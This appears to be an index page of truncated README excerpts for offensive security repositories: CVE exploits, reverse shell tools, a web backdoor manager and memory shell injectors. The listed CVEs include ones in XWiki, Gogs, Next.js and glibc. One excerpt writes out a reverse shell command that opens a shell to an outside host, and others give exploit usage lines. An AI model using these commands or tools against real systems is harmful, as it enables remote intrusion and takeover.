CVE-2022-34303

🕷️ CVE-2022-34303 - CryptoPro Boot Loader Vulnerability CryptoPro Secure Disk UEFI Shell - Bring Your Own Vulnerable UEFI Application BYOVUA - Secure Boot bypass via signed UEFI Shell and gSecurity2 corruption. 📑 Table of Contents Overview Background Bring Your Own Vulnerable UEFI Application The...

Shelly

Shelly | Simple Backdoor Manager with Python based on weevely Shelly is a simple tool that is written using Python, which functions to remote a website Instalation : $ git clone https://github.com/tegal1337/Shelly $ cd Shelly $ python3 shell.py Requirements : sudo pip install -r requirements.txt...

Girsh

Girsh Golang Interactive Reverse SHell Who didn't get bored of manually typing the few lines to upgrade a reverse shell to a full interactive reverse shell tty spawn, stty size ..., stty raw -echo or typing the command to use ConPTY. Description With Girsh, just run it and it will detect the OS a...

React2Shell_Exploit

React2ShellExploit CVE-2025-55182 I created simple react2shell CVE-2025-55182 python exploit USAGE 1. Save the script: Save the code above as exploit.py. 2. Update Hosts: Ensure reactor.htb resolves to the target IP in your /etc/hosts file. echo " reactor.htb" | sudo tee -a /etc/hosts 3. Start...

cve-2025-24893

CVE-2025-24893 XWiki RCE Exploit A simple Python3 script to exploit CVE-2025-24893 , a remote code execution vulnerability in XWiki Platform, using a Groovy-based async macro and a configurable reverse shell payload. ⚠️ WARNING: This tool is provided for educational and authorized testing purposes...

CVE-2015-7547-Research

Initial work on glibc exploit CVE-2015-7547. Currently just returns to libc and calls system to provide a shell. This version does not account for ASLR yet...

CVE-2021-22204-exiftool

CVE-2021-22204-exiftool Python exploit for the CVE-2021-22204 vulnerability in Exiftool. Video tutorial Youtube 404 notfound Requirements python3 python3-pip djvulibre-bin exiftool Install requirements Debian apt-get install djvulibre-bin libimage-exiftool-perl python-minimal python-pip Ubuntu...

pyradm

🔮 pyradm Remote administration crossplatfrom tool via telegram Coded with ❤️ python3 + aiogram3 https://t.me/whlab Screenshots Disclaimer All information contained in this repository is provided for educational and research purposes only The author is not responsible for any illegal use of this...

CVE-2024-50498

CVE-2024-50498 Description Improper Control of Generation of Code 'Code Injection' vulnerability in LUBUS WP Query Console allows Code Injection.This issue affects WP Query Console: from n/a through 1.0. Setup Netcat Listener: Open a terminal on your machine and start a Netcat listener to wait fo...

CVE-2022-22947

CVE-2022-22947 Memory Shell Injection Supports injection of three types of memory shells Usage: usage -t -u Options: -h, --help show this help message and exit -t TYPE switch one : spring, netty, godzilla -u URL url Taking Godzilla shell injection as an example python3 -t godzilla -u...

CVE-2018-14772

CVE-2018-14772 info This is a PoC Remote Code Execution exploit for CVE-2018-14772, a vulnerability that I discovered in the pydio file sharing platform. It requires pydio application administrator credentials to work. You can run the exploit like so: usage $ python exploit.py -h usage: exploit.p...

CVE-2020-9484

CVE-2020-9484 Click the image to watch the video Usage Make it execuateble chmod +x CVE-2020-9484 ./CVE-2020-9484 http://10.10.10.10./8080/ 10.10.1.1 4444...

CVE-2021-25646

usage: python3 CVE-2021-25646.py -u http://x.x.x.x -c cmd Reverse shell as follows: Write reverse shell script python3 CVE-2021-25646.py -u http://x.x.x.x -c "echo 'bash -i & /dev/tcp/x.x.x.x/xxxx 0&1' /tmp/1.sh" Grant execution permission to the shell script python3 CVE-2021-25646.py -u...

Dirtypipe-exploit

Dirtypipe-exploit Dirty Pipe CVE-2022-0847 PoC that hijacks a SUID binary to spawn. a root shell. and attempts to restore the damaged binary as well...

cisco-rv-rce-poc

CVE-2023-20048 — Cisco RV Series PoC & Exploit ⚠ WARNING: For authorized testing only. Do not use against systems you do not own or have written permission to test. This is a Proof of Concept for authorized testing only. What this is Small repository with: CiscoPoc.py — harmless PoC to check for...

CVE-2025-8110

Gogs RCE Exploit CVE-2025-8110 Proof of Concept for CVE-2025-8110 - Remote Code Execution in Gogs via symlink bypass and sshCommand injection. Description This exploit abuses a symlink bypass in Gogs API to overwrite .git/config and inject malicious sshCommand that executes a reverse shell...

CVE-2021-43936

CVE-2021-43936 CVE-2021-43936 is a critical vulnerability CVSS3 10.0 leading to Remote Code Execution RCE in WebHMI Firmware. This vulnerability works on versions 4.0 and the newest ones. Tested only on 4.0.7475. Vulnerability is used by script in the following steps: 1. Logs into the application...

CVE-2025-55182-POC

CVE-2025-55182 Next.js RCE Scanner CVE-2025-55182 vulnerability scanning and exploitation tool for remote code execution in Next.js applications. Supports batch detection, command execution, Godzilla memory shell injection, and reverse shell functionality. ⚠️ This tool is intended for security...

CVE-2020-0796

Usage Make sure Python and ncat are installed. Run calctargetoffsets.bat on the target computer, and adjust the offsets at the top of the SMBleedingGhost.py file according to the script output also see the note below. Run ncat with the following command line arguments: ncat -lvp Where is the port...

CVE-2020-14882_Exploit_Gui

CVE-2020-14882ExploitGui The tool is for authorized use only. I bear no responsibility for unauthorized attacks that lead to criminal cases. Please be familiar with the Cybersecurity Law. During a penetration test, I encountered 14882 and couldn't find a usable GUI POC, so I refactored it. I...